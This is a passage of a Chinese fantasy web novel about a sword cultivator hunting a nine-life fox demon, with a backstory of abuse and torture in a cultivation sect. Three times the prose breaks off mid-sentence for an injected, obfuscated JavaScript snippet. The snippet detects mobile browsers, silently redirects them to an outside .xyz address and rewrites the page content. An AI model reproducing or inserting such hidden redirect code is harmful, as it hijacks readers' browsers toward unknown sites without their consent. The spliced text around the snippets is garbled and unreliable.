预想的金扉朱楹红男绿女都没有出现,打开门浓的让人窒息的黑暗就铺面席卷而来。黑暗中青白的灵光凄凄惨惨地勾勒出数十个僵硬的人形出来,与开右眼后在停尸房见到的死人象又是全然不同。 面前十四道纯粹的漆黑的人形剪影,在本该是眉眼的位置,粗粝的白色线条描摹过一遍又一遍,重重叠叠仿佛草稿,眼眶的形状在几笔挥墨中愈加明晰。每道人形都被画上了“眼眶”“瞳孔”,唯独没有瞳仁。 纯白的瞳孔中央,是空洞阴森的一片。 伏意往下看去,每个人形的腹部都刻着一道蓝色的“债”字,与方才死人身上的红债如出一辙。那字幽蓝神秘,暗暗发光,如鬼火般森然飘在面前伸手不见五指的幽暗里。 每道鬼影身上或红或黑的因果线交缠乱窜,不像她在停尸房里见到的——三位朝廷命官身上的线各自缠结难解,却互不干扰。十四道鬼影之间,因果线串联交叉从无落空,每人身上的红黑线简直多的能够将黑影切割成数不清的碎片。 因果线飞速地延伸,直到将整座春芳楼的人都串在一处。极尽幽黑的虚无里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16027678|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,红线黑线交叠反复,把所有人围在中间,编织成了一个厚重复杂的茧。 门轴发出一阵干涩刺耳的摩擦声,十几道黑影便扯着灵活的因果线齐刷刷看过来。 巨茧颤动。 鬼影像是要把她看透,不断逼近,毫无转圜。 柳伏意蓦然被数不清的鬼影直勾勾地盯着,切切实实的,心跳骤停,冷汗直冒。 “公子~这是怎么了?” 她来不及回应,瞪着眼珠子忙反身合上了门,腿一软便跌在地上,后怕地气喘吁吁。 “你快冷静一下,我早就说不能赶进度的嘛。你刚吓得都差点灵魂出窍了。” “要是把你活活吓死了,天道不得拿雷也劈我九十九次啊。” “开天眼一术到此为止,勤加练习即可。你可有什么线索了?” 柳伏意缓了好一阵子才站起身来,她扶着心口,心脏仍然跳得猛烈直撞她掌心。也是心脏跳的太猛,她才感觉自己还活的好好的。 “我刚才都觉得,我是下地狱去了。” 天命的语气柔和了一些:“你看见什么了?” 柳伏意掀开被子拎上天命剑,脸皱着,翻来覆去找不到形容词,骑在窗上过了半晌。 而后艰难地吐出一个断音:“茧。” 柳伏意两只腿都跨出窗外,低头纵身一跃。跳下来时目光不知扫过了什么,身形一歪动作变形,险些摔个狗啃泥。 “不是吧,灵剑派的顶级剑修翻个窗户还能崴脚?” 伏意甚至没空搭理他,连忙跑远了,缩在一处角落里摸了摸自己的肚子。 “债?” 天命:“给你吓得不会说话了吗?怎么一个字儿一个字儿往外蹦啊?” “我身上怎么会有红色的债?” 她明明没有感觉到有妖气。 * 子夜时分,春芳楼内一片寂静,满地倒着失去生机的美艳女子。袅娜身姿彼此错落,最醒目的便是楼中唯一一处光亮之所——月光透过镂空的屋檐仿若一道天然的灯光打落在舞台上,照着郑怜昳丽精绝的眉目。 她双手撑着,半依着赤红台布。身下时不时传来“咚咚”的声响。 她勾唇一笑沉默不语,细长的手指轻点舞台以作回应,那沉闷的撞击声就默然下去再不可闻。 “你回来了。” “你唤我,又是想杀谁呢?”隐于黑暗中的女子不急不恼,任郑怜将她牵着走出来曝露在光影中。 九命略微偏头,盯向舞台的位置,一双狐眼瞳孔竖直难掩兽性,话音略有恼怒。 “你明明答应我亲手杀了林夕照!你还没动手?!” 九命阴森血红的眼睛盯准郑怜,捏着她的下颌逼迫她直视自己的眼睛,字字句句咄咄逼人。 “你最了解春芳楼是什么样的所在了。今天那个装模作样问你抓奸的小姑娘不就是仙门来探消息的!再不杀了他们跑路,你跟我都逃不掉!” 九命狠命“呸”了一声转过身去,扫了一眼满地横七扭八的女子躯体,她敛着眸子呲牙浅笑,指间随意泄出那么一点点的灵力急不可耐地钻入姑娘们的身体。红光闪过,满地仿若死物的女子便都猛然睁开眼,提线木偶般,由腰先起,诡异地将自己身躯各个部位掰正直起身来。 一时之间,骨骼摩擦作响的声音回荡在整个春芳楼中。 九命看着面前属于她的姑娘们,心情又好了。 “没所谓,那小姑娘接触了楼里的人,已经被我打上命债了。迟早她也会是我们的帮手~”她转身,对着郑怜勾唇,问道,“你是想让我帮她杀了那个负心汉对不对?” “反正你本来也缺人精进修为,既然那男子不堪重用,做你的垫脚石再好不过了。就当是为新姐妹准备的见面礼,好吗?” “可以啊,不过你也不要叫我失望吧?我给你的机会可不止一次两次了。”九命沉下脸来,眼尾吊着,笑意瘆人,“你再不舍得杀林夕照,存心要拖累我,我就只能把你一起杀掉了。” “咚咚咚……”舞台底下爆发出一阵猛烈的撞击声。 “你放心,我不会辜负你的。”郑怜垂首,答的毫不犹豫。 九命闻言重又恢复温柔如水的模样,上前将郑怜轻轻揽进怀里。 “他们都会背叛你的,只有我对你最好,言听计从,顺你心意。”她缓缓顺着郑怜的长发,“等我杀了那个负心汉,再把驿馆里那几个仙门人杀干净,我就带你离开这里。” “你想要的一切,我都会想方设法满足你的……” 8. 九命狐(四) 阮长风蹲了约莫两个时辰,这两个时辰内他实在无聊的受不了,就围着春芳楼放了一圈的小不倒翁。 柳伏意一落地他就收到了不倒翁的信儿,绕了一段路找到她,看见她缩在角落里失魂落魄的,表情不大对。 “怎么了?出什么事了?” 柳伏意抬头见是大师兄,解了易容术,一把将他也揪下来缩着。 “七具死尸六名男性,我看得到他们身上有红色的债字。我进春芳楼没有接触到有妖气的姑娘,但我身上现在也有一个红色的债字。” 柳伏意想了想:“师兄,打上了红债,意味着那妖怪下一个要杀的人就是我。我不知道我有几成胜算,还是先远离你和元香比较好,免得连累你俩一起死。” 她正欲离开,另外一处拐角灵光一闪,阮长风连忙拉住伏意的衣摆:“先别走先别走,元香说她猜出背后的大妖是什么了,你俩对对信息说不定就破案了。” 柳伏意将信将疑,跟着阮长风鬼鬼祟祟地猫腰往先前瞬行阵生效的地方去。 顾元香手里握着小木鸟,摔在草垛上,贪生怕死剑硌着她的腰,痛的她倒吸几口凉气。 对了,元香也进了春芳楼。 柳伏意默念咒文,通过右眼,看见顾元香身上赫然一个蓝色的债字。 她的呼吸被打乱,阮长风见此不由分说的拽着两人的胳膊,用瞬行咒带着她们一起回到最初的仙门驿站内。 驿站内一个人都没有,阮长风伸手合了门还上了门栓,额外加了一个他特制的铜铃,不仅防人偷听还能掩盖气息,躲到明天天明是肯定没问题的。 伏意搞不定,一晚上的时间传信给老头呗,让林秋池来搞定就好了。 顾元香还没反应过来,她刚捏了小木鸟回到春芳楼底下,就被带到这里来了。 她正欲发问,目光就落在柳伏意古怪的表情上。 “怎么了师姐?我可从来没在你脸上看到这样严肃的表情。” 柳伏意握着剑,半点没有开玩笑的心思:“我身上有一道红色的债,而你身上是蓝色的。只要进了春芳楼,就逃不掉。” 顾元香点点头,似乎一点也不意外。她伸手在伏意面前打了个响指,强行让伏意集中一些注意力:“放心吧,我已经知道作祟的妖物是什么了,你有所防备,一定没有问题的。” 伏意和长风坐在顾元香两边,听她娓娓道来。 “现在提起狐族,最有名的便是九尾狐了,但其实在远古时期,狐族有一支血统高贵法力高强的分支,它们被视为狐族的最强者,名叫九命。九命狐所用的术法就是生死命债,显化在人身上,也就是伏意看见的红蓝债字。红债,意为死命债,顾名思义,拿命还债,蓝债是活命债,是逼迫受害者让渡一部分魂魄给九命,自此为它卖命,就只有这两种方式。” 怪不得,今天看见的那些鬼影身上全是蓝命债。 阮长风问:“可是伏意一点儿都没感觉到妖气,就被打了死命债,确实有点吓人啊。” 修为越是高强的人,对于身边的各种气息也就更加敏感。尤其是伏意这样的剑修,她连剑气这种虚无缥缈的东西都能精准感知,更别提真实存在的难以掩藏的妖气了。 顾元香继而道:“说白了,蓝命债假以时日就是九命的化身,只要接触了携带蓝命债的人,她们自然可以按照九命的意志给你生债或者死债。九命本尊甚至不需要出现,就可以通过众多的傀儡判你死刑。这一点也正是九命最难处理的,称之为命债轮回。” 她从怀里摸出一张九尾狐的画来,摆在二人跟前一点点讲解。 “这是九命狐的画像,九条尾巴不仅代表九条命,更是她法相的化身。九命是先用自己的尾巴化成只有她自己能看见的命债钉在某个人身上,那人要么被控制要么被杀,若是红命债,人死后命债不消,榨取肉身的血气,要是有修为的更好,连修为一起炼化,通过尾巴传递到九命本身,她就可以不用修炼,靠抢夺他人的生命和修为一步登天。” 长风的脸色变了变,这种等级的大妖,光靠他们三个人简直是以卵击石吧……但他转头去看伏意,她已经平缓了很多,恐惧不安都被好奇取而代之。 “蓝命债呢?”伏意道。 “蓝命债没有红命债杀气那么强,甚至……”顾元香说的特别不确定,“听说蓝命债会在原身面临危险的时候弹出保护?” 她很快把这一点岔了过去:“蓝命债是慢慢蚕食魂魄,等到原身发现自己的意识必须听命于九命的时候一切也都晚了。蓝命债可以一传十十传百,范围多广取决于九命的灵力有多强,曾经远古时期最厉害的一只九命狐名叫吞天,他光靠蓝命债就差点毁了半个人间。书上说他惹怒了上天,是被雷罚处死的,并且自那以后九命狐一族子嗣祚薄直至灭绝,连修炼灵力也是难上加难。” 她翻过一页笔记,补充说:“蓝命债也可以收回到九命身上,没有红命债提升的那么刚猛,但数量堆积起来也不容小觑就是了。” 长风等她说完,问了两个他最关心的问题:“命债可解吗?还有你不会偷摸着给我也打个吧?” 顾元香懒得理他,转而对伏意正色道:“只要杀了九命,一切命债迎刃而解。” 或许死掉的人可能回来。 神志不清的人,也有机会变回自己。 阮长风听了,在一旁模仿她的语气,语速加快语调忽上忽下,显得格外滑稽。 “只要杀了九命~~一切命债~~迎刃而解~~”他真心实意地发问,“你以为九命是你爷爷家的小鸡仔啊说杀就杀?” 顾元香看着他依旧皮笑肉不笑:“我倒真希望九命现在上我的身,甩给你一道红命债。” 伏意许久没有讲话,心里已经有了成算。 “我明白了。反正我身上有红色的,她会主动现身来杀我,我给她这个机会就是了。” 柳伏意收起剑,对上元香的眼睛:“放心,入道以来,我还没有输过。” 更何况如今拿了天命剑,修为好像莫名其妙地又高了。 阮长风捂着脸,你入道以来也没遇见过九命狐这种曾经得过天道垂怜的妖怪啊!打人和打远古大妖那能一样吗? 伏意站在顾元香身前静心运气,口中念念有词,元香便觉得身上陡然一轻。 “我给你加了道封印,妖力被封九命没有办法通过尾巴找到你,多一重保障。” 阮长风随便说说,她真当他怕死,竟然还特地防止九命通过元香来害他。 他从袖子里摸出一个木雕的獬豸塞过去:“神话里说獬豸是主逢凶化吉保平安的,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16027679|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带上它,师兄安心。” 顾元香睨他一眼,无语都写在脸上。 柳伏意看驿站里都安排好了,心满意足地搓了搓手,大踏步迈着就走到大街上去了。 从她来云州,先看尸体后进青楼,脑子就没歇过。比起推理谁是凶手,妖怪在哪,还是纯粹的战斗叫她兴奋。 不论流派,不论境界,不论性别,单纯地只想弄死对方的对决,想想就很刺激。 不过现在脑子确实可以扔掉了,谜底看上去也挺明显的,几乎可以断定就是九命杀的人,除了一个赵蕊初。 一想到赵蕊初,柳伏意又头疼起来,小姑娘白白净净的,因果线也干干净净的,身上也没带债,怎么就突然自己掐死自己了呢?不是九命,难道还有别的妖怪在云州么? 她越走越远,一抬头已经接近万年县的一处古庙。 文菩萨庙。 整座庙都是破落的,四周断垣残壁没个遮挡,巨大的菩萨像就这样曝露在外,不知道接受了多少年的风吹雨淋。 伏意进去看了看,文菩萨庙不大,到处都盖着一层厚厚的灰。 来都来了,拜一下吧。 她福腰拱手,脊骨一弯,从后背处袭来的阴风便堪堪擦过了她的衣角。柳伏意并不客气,迅速拔剑迎了上去,还没看清对面是什么玩意儿,几套丝滑连招已经随着身体的本能灌下去了。 剑身与对面那人的手镯狠狠撞在一道,电光火石间金鸣刺耳,两物碰撞的余震逼得双方的手部俱是一麻,倒是能够让她们稍微冷静下来,互相看清楚对手的样貌。 昏暗的文菩萨庙里,月光浅浅,尘屑狂飞。两人的呼吸都因为刚才的打斗略显混乱。 伏意举着剑,身前红色的债字若隐若现,微弱的红光直直地照在对面女子的脸上。 九命凤眼狭长,长眉入鬓,鼻如悬胆,唇红齿白。不愧是曾经得天独厚的种族,全身各处都生的恰到好处无可挑剔。 伏意心下喟叹,她前两天常在话本里看到描述,说女主角美得惊心动魄鬼神皆惊,现如今细细想来,大概就长九命这个样子了。 天命:“这么关键的时候你不要被敌人的美貌迷惑好不好??” 柳伏意吞吞口水难掩心虚:“……知道了。” 两方相持,九命乍然收手。 “你是女子?” “是男是女都懒得跟你废话。” 伏意拎着剑气势汹汹劈头就斩,九命被她浑身纯正杀伐的剑意吓住,左躲右躲,纠缠许久愣是没办法从这剑修手里寻到一丝使用法术的间隙。 九命侧身躲过朝她心窝刺来的一剑,脚步尚且没有站稳,柳伏意又是转身一剑斜挑而上,卷着满地飞灰,剑光几欲破晓。 眼看着自己不是伏意的对手,九命猛力一挥,袖中早已准备好的雷火弹就滚落出来。 硝烟弥漫,轰天震地,摇摇欲坠的古庙瞬息间倒塌。 她不敢贸然移动暴露位置,正欲施法走人,面前浓黑呛人的烟雾就被一道寒芒拦腰劈开。不等她跑,赤衣女修的一只手已经死死扣住了她的衣襟。 “?” 九命低头盯着自己衣领上那只劲瘦有力骨节分明的手,心里只有一个想法。 他喵的,这是剑修吗? 这是怪物吧。 9. 九命狐(五) “我要知道你是女的,我就不会给你红命债了。”九命盯着那把随时准备刺穿她身体的利剑,头一次觉得死亡离自己一步之遥,只能想着先安抚柳伏意的情绪。 毕竟大家都是天生地养的,何必一言不合见面就非要死一个呢? 今天白天那老头还是剑修呢,也是很好商量的呀。 “我管你给红的还是蓝的?” 九命感觉自己真是触了大眉头了,平白无故怎么就招惹上这个大杀器。她胸腔剧烈地起伏着,口角渗血,显然已经没有反抗之力。 柳伏意有些意外,也有些看不透。 兴许是吞天之后受诅咒的原因,九命本身的灵力并没有元香说的那样强悍。柳伏意眯了眯眼,目光往下扫了扫,只看见一条尾巴。 都到这个要死的地步了也不肯把放出去的尾巴收回来么?元香不是说,命债轮回能够让她短时间内提升很高的修为么。或许把红蓝命债都拿回来,她就可以从自己手里逃掉了。 看来命债轮回之中,有对九命来说比性命更重要的东西。 柳伏意无所谓,反正九命死了恩怨尽消,她只负责除妖,剩下的后事又不归她管。 她运足了灵力,一剑下去九命必得魂飞魄散。 “柳长老我来助你!” “?” 就在天命剑即将刺穿九命身体的时候,古庙后头突然响起一道明亮清灵的女声,笔直地就往柳伏意所在之地冲了过来。柳伏意分神的瞬间,九命一挥衣袖打了她一掌,借力与她隔开了几步距离,伏意正要挪步去跟,就被一个人结结实实地扑在了地上。 什么情况?哪里杀出来的程咬金。 一直到九命消失不见,扑在她身上的人也没能自己爬起来。 她顺手捞了一把,那人借着她的力气站稳了身形,二人一前一后走出乌烟瘴气的古庙。 柳伏意灰头土脸的,身上的衣服看不出模样,到处破了几个口子。 她低头看见自己浑身脏兮兮的,暗暗叹了口气。 她颓然把剑插回剑鞘里,终于回头看那个坏了她大事的笨蛋。 这不看还好,一看惊了。 “文柔?你怎么在这里?” 就算九命分身乏术没空管人质,跑出来的也不应该是这么一个灵力低微到可以忽略不计的小姑娘啊? 怀疑一闪即逝,很快柳伏意就说服自己了。 清缈峰这回一共带了八个弟子加上林夕照和文柔,林夕照怎么说也是掌门老爹亲自教的,论修为必定是小辈之中数一数二,那若是他寻到机会能逃跑,恋爱脑上头力排众议让文柔先走也是极有可能的。 太合理了,林夕照就能干的出来这样的事儿。 文柔眼里噙着泪,她比伏意略矮一些,于是在伏意的视角,娇娇软软的小姑娘眼眶微红,咬着唇委屈得很,肩膀哭得一抽一抽的。 伏意实在不知道该从何开始安慰她,只带着怜惜的目光看着她。 文柔先回答了她的问题,断断续续抽抽搭搭的:“九命不杀女子,所以我才能找机会跑出来……我……” 噢~原来狐狸两次提她是女的是这个原因啊。 面前的姑娘哭得梨花带雨,看样子一时半会儿这雨是不会停的。柳伏意没办法,从怀里摸出一张手帕来,这还是在春芳楼喝酒的时候顺的。 那张芳香馥郁的帕子送到文柔面前,伏意看见她的神色极短地停顿了一下,而后便接过去擦了擦眼泪,再看不出什么异样了。 文柔擦干净眼泪,低着头同她道歉:“我只是想帮你……到处都是灰,我怕你被炸伤了。” 看她这样,也不像说假话。 柳伏意点点头,抱着头领她走在大路上,打一架累了,说话都漫不经心的:“没事,走吧,我带你回驿站去,那边比较安全。” 文柔跟在她身后一言不发,柳伏意也没想着问,她确确实实累了,脑子转不动,只有两条腿还肯走路。 把她带回驿站,阮长风和顾元香自然会把一切都问清楚的。 夜晚的云州很安静,没有小儿啼哭,没有深巷犬吠,月光把一前一后两个身影拉得很长很长。伏意踩着自己的影子,一步步拐回驿站去,文柔就在后头低着头看她的脚,亦步亦趋。 “柳长老,你是不是很不喜欢我啊?” 柳伏意的身形顿了顿,听见文柔说:“如果不是我,夕照也不会跟您对着干的。” “和你没有关系,是那小子不靠谱。” 柳伏意转身,眼里带着些许的无奈。其实她今年也才十九岁,比文柔大不了多少,只是这个辈分问题,弄得她像一个特别古板的长辈。 加上现在还卯足了劲儿逼他们分手,更像温柔好儿媳大战恶毒婆婆那一套了。 她略低了些头,认真看着文柔水汪汪的眼睛:“如果林夕照真的可堪托付,他就不可能不考虑下药的后果。他做出这样的事,若不是他老爹顾及他的前途瞒下来,你的处境会是什么样?” 文柔哪怕不细想,都知道一定很糟糕。可哪个少年没有幼稚过呢?林夕照不是为了她,也不会惹出这些祸来啊。 他应当是很爱她的。 柳伏意捕捉到文柔脸上一闪而逝的犹疑和紧接着的自我肯定,心下犯了难。 她不懂文柔和林夕照的感情起于何处,更不知道两人之间的孽缘到底有多牢固。 看现下的情形,他们分明是动了真心的。 她强硬地要分开这对苦命小情侣,也很损阴德吧。 放在文柔和林夕照眼里,他们之间谈不上什么气运不合。反而是年少相知,两相依偎,唯一的阻碍就是各位长辈不喜。 柳伏意扶额拧眉,苦口婆心感觉自己苍老了十岁:“如果林夕照是个良配,他会在师门和你之间平衡好。他要不是遇见了你之后就荒废学业屡次闯祸,你这样温柔可爱,掌门为什么会不喜欢你?” 她转而分析道,“更何况是掌门舍不得,徇私包庇了他,否则林夕照怎么留在修界?” 答案显而易见。 “牺牲你啊。” 哪怕真相或许与你无关,脏水泼到身上时也只能将你推出去来背这个锅。权衡利弊过后,真相不重要,感情可以抛,前途正大光明。 文柔没有哭了,她眼里染上愤懑不满,甚至有恨。 “他的前程,要拿我的性命去换?” 文柔嘴唇翕动,不知道把伏意的话翻来覆去嚼了几遍。面前的小长老打了个哈欠,莹润的眸子里瞬间灌满眼泪,缓了一会儿过后,她身上那阵沉重的倦态也就慢慢消去了。 “所以啊,这世上男子千千万,何必非要执着一个林夕照呢。” 文柔没有回答,心里倒是有些后悔。 她不该给柳伏意下七步碎丹散的。 事到如今能真正站在她的角度为她考虑的人,普天之下恐怕就只有柳伏意了吧?这样的人要是死了,的确是很可惜。 柳伏意在前头伸着懒腰,她前段时间疏于练功,导致她今天跟九命这么一打活动的剧烈了一些,四肢就有些隐隐的酸痛。 文柔一直跟在她后面再无话可说,两个人就这样安安静静地穿过千家万户,停在长街尽头唯一亮着的仙门驿站门口。 顾元香早就趴在窗口东张西望,看见伏意的身影别提有多么高兴,愣是撞破了驿站的门冲出来将她抱了个满怀。 “我这么脏你还凑上来啊。”伏意推了推她的头,推不开。 顾元香短暂哭过一通,不知道有没有掉三滴泪,转眼就看到跟在伏意身后的文柔,又收了哭脸,肘了肘伏意的胳膊,“这是……战利品啊?” “……”文柔脸上又青又白。 伏意拉了一把文柔,将她带进屋里,不忘嘱咐一句:“别见怪,元香她不是故意冒犯。” 阮长风迎着几人进屋子,照样是老套路,门栓加铜铃,熄了两盏灯火,驿站内漆黑一片,八仙桌上仅一只烛台来照明。蜡油逐渐淌下,顺着蜡烛底座凝固成一座小山,烛光只能将好照亮八仙桌旁几人的脸。 伏意先去梳洗休息,她自然不参与这场夜话。 文柔正襟危坐,得体又略显窘迫的笑容叫阮长风根本看不出丝毫破绽。今夜本就是长风和元香不得不对文柔的出现例行询问,自然也不如在戒律堂时那样的剑拔弩张。 三人有一搭没一搭地聊着天,很快话题就从严肃的九命妖狐现身杀人转到了一些无关紧要的事儿上。 元香打量着文柔的脸,一张含情脉脉美人面,就算是放在美人云集的春芳楼,她也能不落下风。谈起性格来,虽说没什么特别有趣的,但温柔如水人如其名,若元香是个男子,也会很喜欢文柔这样的姑娘的。 但她若是文柔,肯定不会喜欢林夕照就是了。 “我们一直都很好奇一件事,你为什么喜欢林夕照啊?”元香往前凑了凑,烛火就差没燎了她刘海儿。 阮长风无奈托腮,不过对女孩子,尤其是没什么嫌疑的女孩子,他也不好用什么小机关。 任这小疯子胡闹去吧。 文柔颔首一笑,那笑怎么看都多了几分勉强,文柔和林夕照的情起,避不开她在合欢宗的一些过往。 合欢宗钟灵毓秀,层山叠嶂,山上树木葱郁高大。日光熠熠,撒下一片金光,云遮雾绕,秀丽逶迤,从合欢宗宗主姜美娘的红绡宫俯瞰而下,隐约可以看见溪流与峡谷。 山脚下碧蓝色的湖泊星罗棋布,映着天光如同一个个宝石,莹莹闪着温润的光泽,说不尽的秀美安逸。 然而那个地方对文柔来说却是个逃不脱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16027680|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的魔窟。 文柔记忆中没有父母的身影,记事起就被卖来卖去。第一个买她的是一家富户,人牙子说小姑娘日后一定出落的标致好看,给家中少爷做个填房侍妾绝无问题。她当时才四五岁,就得跟少爷的奶嬷嬷一起学着如何照顾好少爷,如何让少爷尽兴。 她年纪还小,长的漂亮,起初不愿意跟胖少爷亲近,也能得到主家的几分宽容。时光飞逝如流水,眼看着文柔长到了七岁,少爷对她的新鲜感愈加淡去,主家对她的容忍也耗到了尽头。 少爷打了她,荆条抽的她浑身皮开肉绽,没有一处好肉。奶嬷嬷把她护在怀里,朝当时不过半人高的恶童磕头求饶,磕了足足一夜,主家才肯放过文柔一条命。 奶嬷嬷磕破了头,病倒了。文柔留了一口气,被转手卖给了一家青楼。 青楼里的生活更加水深火热,她不愿穿着暴露讨好男人,每日每夜都没饭吃,全靠楼里的姐姐们接济,才能窝窝囊囊地活下去。 都是为了文柔,林夕照才毒害师叔,因而元香看待文柔总带着一些高高在上的不屑。 听到文柔句句泣血的遭遇,她泄了气,原本的八卦心思一扫而空。 “你还好吗?”顾元香的语气软和下来。 文柔抬眸,眼里淡淡的怅惘,依旧平静:“我挺好的,早已过去的事情,没什么不好说的。” 她所在的那处青楼没多久就被妖物毁了,当时来处理妖物伤人的仙门便是合欢宗的姜美娘。 青楼里无处可去的姑娘们,姜美娘照单全收,包括伤痕累累清高孤傲的文柔。 原本以为合欢宗是一处顶好的去处,不用干苦力,不用以色侍人,还能吃得起饭,求学仙术。 “我本想好了,就好好修习仙术,留在合欢宗。但是……” 合欢宗的秘术便是男女合修达到二人灵力的融合,以至于两人的灵力都能够得到提升。这已经是很多年前的说法,如今姜美娘上任,她所研究出的新秘术能够让人永葆青春,无论男女媚术天下无双,修道如履平地,不再需要男女搭配,只是需要很多的…… 少女。 阮长风皱着眉,总觉得故事的走向不太对:“少女?” 他想起去合欢宗走访的那段时间,倒是没见过多少少女。 文柔提唇一笑,坐在她对面的元香霎时有些恍惚。常见到文柔低眉顺眼又与世无争,做什么都一副弱势,现下提起合欢宗,她眼里的嘲讽毫不遮掩,故而当下的嘲笑竟也显得野心勃勃,傲气十足。 文柔这个姑娘,是很不简单的。 “少女没有资格在外活动,她们都只是姜美娘豢养的贱奴罢了。” 讲到这儿,文柔似乎也觉得没有必要再对合欢宗的秘术藏着掖着,坦然将那传的神乎其技的秘术拆解开来。 世间一切不外乎阴阳两种气,男为阳女为阴,男女相合则是阴阳互补,格外平衡。道法自然,修为就能够吸收天地灵气,持之以恒或可一日千里。而姜美娘所谓的新派秘术,则是用少女的骨血和男子的元阳合为一体,极阴汇极阳,炼丹内服。 少女要经过层层筛选,才能够成为门主的血奴。越是有灵气的女子越是凄惨,秘术之外害人的法子也不少。 女子的人皮可供驻颜,以人皮将皱纹提拉紧致,一点儿痕迹都看不出来。 女子的□□磨碎了入香,清香盈室,长久不散。 女子的长发可做法器,被折磨久了的姑娘,拿她们身上的东西炼制成器,自带冲天的怨气,杀意十足,实在是护主的绝好神兵。 文柔浅笑着,本来她逃脱不成也该死在合欢宗的,但老天似乎是可怜她年纪轻轻命途多舛,让她遇见了来合欢宗交换学习的林夕照。 她从暗不见天日的牢笼里逃出来,一身破败,浑身的窟窿,遇见光风霁月,神采飞扬的灵剑派掌门之子。 天之骄子,做什么都底气十足。 “我当时一定像鬼一样难看,手臂上的皮被剥了,头发也被剪的参差不齐。我喊不出求救,我觉得他应该不会为我停留,不会为了一个合欢宗的奴隶,低下头。” 她没有求救,认命地倒在地上,看着仅一步之遥的山门,动了求死的念头。 文柔躺在地上,日光晒的她睁不开眼,但很快自己就又处在一片阴翳之中。 她睁眼,是那位灵剑派的少年,蹲下身来,满眼的担心,他的本命剑就悬在她头顶遮阳。 文柔讲到这里的时候,眸中水一样的光华流淌过去,讲不尽的柔情妾意,好像在她面前真能看到那个朝思暮想的男子。 既然如此,顾元香也大概能理解她为什么非林夕照不可了。 林夕照对于文柔来说,他确实是数十年阴暗生活里唯一接触过的暖阳。 他是唯一温暖她的人。 11. 九命狐(七) 柳伏意表情微变,却是笑了。 “你怎么想的?你有人质我也有啊,凭什么你来跟我谈条件?”她话音刚落,手上灵力加重几分,巨大的链条紧了又紧,将九命勒的疼痛难忍,不免叫出声来。 九命掉下几滴眼泪,毛茸茸的尾巴轻轻拢了拢文柔的腰:“你走吧,趁着她还没想杀你。” 柳伏意:“?” 到底谁是反派。 文柔对九命的话不为所动,眼看威胁伏意此路不通,立刻转换方向:“清律长老,是我错了,清缈峰的弟子我都还给你。九命没有滥杀无辜,那些人都是该死的……你先松一松好不好?你来云州一趟,除了捉妖,也一定要查清真相啊,否则回了灵剑派怎么和掌门交代呢?” “你先放了九命,我把一切真相都告诉你。” 左右九命和文柔都跑不了,伏意便听了她的话,背手而立不再施压。御灵锁链之上的灵力褪去,九命的呼吸也变得顺畅了些。 文柔松了口气,她遵守诺言把清缈峰的弟子们都放了回来。暗红色的灵力一出便被巨阵中徘徊的剑气冲散,再然后,巨阵的顶端稀稀拉拉地掉下来九个人。 与此同时,柳伏意背后那三五根倒塌的大树交叉生成的天然避风港中,阮长风那只小木鸟好死不死地卡在了若干树杈中间。上也上不来,下也下不去,唯一的好处就是刚好卡在伏意身后,他们所处的地方一片漆黑,不潜心观察根本不好发现,并且视角绝佳,愣是把十余人的行动全都收归眼底。 顾元香没忍住一拳捶在阮长风胳膊上:“你也忒不靠谱了吧!” 她刻意压低了声音,往四周偷摸地打探了一下,还好,没人注意到他们卡在这儿。这要是给人看到多丢人啊? “嘘……老实看吧,就当买的看台票。” 八个弟子加一个林夕照,全都是昏迷着砸下来的,伏意的剑气聊作缓冲,他们摔下来倒也没伤着。 伏意还没检查这九个人伤重与否,九命便冲着文柔的背影闹了起来。 “你骗我!?”似乎是因为恼怒,九命疯狂地想要挣脱浑身缠的发紧的链条,呲着牙,怒目圆瞪,千丝万缕的血红逐渐将她金黄的瞳孔变了色。 狐狸声泪俱下,莺啼般婉转的嗓子瞬间因为暴怒变得歇斯底里。 她哭喊着,血泪纵横:“你没杀他!你竟然为了一个男人背叛我?” 文柔极快地摇了摇头,讪讪地望了伏意一眼,见她没有要动手的样子,登时转过身去和九命解释。 “我没有背叛你!林夕照他不是故意对你出手的……” 她越说越没有底气,九命可是愿意为了她坦然赴死的啊,九命被林夕照偷袭受伤,按狐狸有仇必报的性格,文柔是必须要选边站的。 林夕照身上本来有一道红命债,只待文柔下手杀了他,九命就能将林夕照的修为炼化提升自己。 可是文柔没有动手,反而,她把那道红命债解了。 这放在狐狸眼里,就是赤裸裸的,无可辩驳的背叛。 九命用尾巴擦去血泪,赤红的皮毛上沾了血,更加瑰丽糜艳。 “我要不是为了你,怎么会次次被这女人逼到绝境。”九命平静下来,斜眼瞟了一眼柳伏意,冷冷地嗤笑一下,“你能赢我,不过是因为我有软肋罢了。” 